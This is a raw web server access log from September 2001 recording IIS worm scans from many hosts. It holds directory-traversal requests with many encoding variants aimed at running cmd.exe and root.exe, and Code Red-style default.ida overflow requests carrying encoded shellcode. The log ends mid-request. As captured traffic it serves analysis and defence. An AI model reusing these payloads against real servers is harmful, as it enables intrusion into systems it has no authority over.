[210.124.8.13] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:48:58: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:48:59: ns.kcci.or.kr [210.124.8.13] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:49:00: ns.kcci.or.kr [210.124.8.13] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:49:02: ns.kcci.or.kr [210.124.8.13] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:49:12: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:49:13: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:49:14: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:49:18: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:49:19: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 22:50:49: dhcp12.cs.columbia.edu [128.59.19.212] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 22:50:49: dhcp12.cs.columbia.edu [128.59.19.212] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:50:49: dhcp12.cs.columbia.edu [128.59.19.212] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:50:49: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:50:49: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:50:49: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:50:49: dhcp12.cs.columbia.edu [128.59.19.212] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:50:49: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:50:49: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:50:49: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:50:49: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:50:49: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:50:49: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:50:49: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:50:50: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:50:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 22:56:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 22:56:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:56:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:56:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:56:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:56:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:56:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:56:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:56:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:56:52: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:56:52: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:56:52: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:56:52: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:56:52: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:56:52: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:56:52: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 22:58:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 22:58:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:58:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:58:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:58:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:58:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:58:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:58:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:58:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:58:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:58:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:58:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:58:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:58:38: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:58:38: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:58:38: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 23:02:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 23:02:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:02:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:02:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:02:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:02:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:02:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:02:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:02:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:02:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:02:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:02:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:02:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:02:20: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:02:20: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:02:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 23:02:33: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 23:03:57: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 23:04:29: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 23:09:06: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 23:09:21: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 23:19:41: dhcp12.cs.columbia.edu [128.59.19.212] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 23:19:41: dhcp12.cs.columbia.edu [128.59.19.212] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:19:41: dhcp12.cs.columbia.edu [128.59.19.212] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:19:41: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:19:41: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:19:41: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:19:41: dhcp12.cs.columbia.edu [128.59.19.212] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:19:41: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:19:41: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:19:41: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:19:43: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:19:43: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:19:43: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 23:19:43: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:19:43: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 23:19:43: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:19:43: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:19:43: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:19:43: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:19:43: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:19:43: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:19:44: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:19:44: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:19:44: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:19:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:19:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:19:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:19:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:19:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:19:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:19:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:19:46: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 23:22:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 23:25:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 23:25:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:25:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:25:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:25:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:25:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:25:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:25:20: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:25:20: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:25:20: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:25:20: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:25:20: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:25:20: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:25:20: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:25:20: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:25:20: [128.134.72.162] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 23:25:43: [128.134.72.162] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 23:26:02: [128.134.72.162] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:26:21: [128.134.72.162] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:26:40: [128.134.72.162] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:26:59: [128.134.72.162] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:27:18: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 23:27:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 23:27:18: dhcp12.cs.columbia.edu [128.59.19.212] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 23:27:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 23:27:19: dhcp12.cs.columbia.edu [128.59.19.212] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:27:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:27:19: dhcp12.cs.columbia.edu [128.59.19.212] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:27:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:27:19: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:27:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:27:19: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:27:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:27:19: [128.134.72.162] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:27:37: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:27:37: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:27:37: dhcp12.cs.columbia.edu [128.59.19.212] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:27:38: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:27:38: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:27:38: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:27:38: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:27:38: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:27:38: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:27:38: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:27:38: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:27:38: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:27:38: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:27:38: [128.134.72.162] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:27:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:27:57: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:27:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:27:57: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:27:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:27:57: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:27:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:27:57: [128.134.72.162] "GET 